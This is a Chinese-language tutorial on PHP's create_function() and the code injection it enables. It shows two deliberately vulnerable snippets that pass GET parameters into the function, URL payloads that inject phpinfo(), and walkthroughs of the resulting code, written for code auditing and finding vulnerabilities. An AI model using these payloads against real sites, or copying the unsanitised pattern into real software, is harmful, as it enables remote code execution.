首頁 > 軟體

PHP create_function()函數應用範例詳解

2022-10-10 14:00:24

前言

一直遇到過這個 函數,但是不知道怎麼利用 這回學習一下這個函數

create_function()簡介

適用 PHP4>4.0.1 PHP 5 PHP7

語法:
create_function(string $args,  string $code)
string $args 宣告的函數變數部分
string $code 執行的方法程式碼部分

函數功能

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfuncn";
echo $newfunc(2, M_E) . "n";
?>

分析:

create_function() 會創造一個匿名函數 (lambda樣式) 此處建立了一個叫 lamvda_1 的函數, 在第一個 echo 中 顯示名字, 並在第二個echo 語句中執行了 此函數。

create_function() 函數 會在內部 執行 eval() , 我們發現是執行了 後面的 return 語句,屬於create_function() 中的第二個引數 string $code 的位置

因此,上述匿名函數的建立與執行過程等價於:

<?php
function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

create_function( ) 函數在程式碼審計中,主要用來查詢專案中的程式碼注入和回撥後門的情況,熟悉了執行流程, 可以實現對程式碼注入的 payload 構造,從而 進行漏洞挖掘和找出存在缺陷

程式碼注入範例

0x01

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

還原實際的組合過程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函數實際的執行:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
}

$sort_by 是我們傳入的值。

回車換行整理一下:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

0x02

<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

還原實際的組合過程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函數實際的執行:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
 }

換行整理:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));
    }
    phpinfo();
    /*));
 }

到此這篇關於PHP create_function()函數應用範例詳解的文章就介紹到這了,更多相關PHP create_function()函數內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com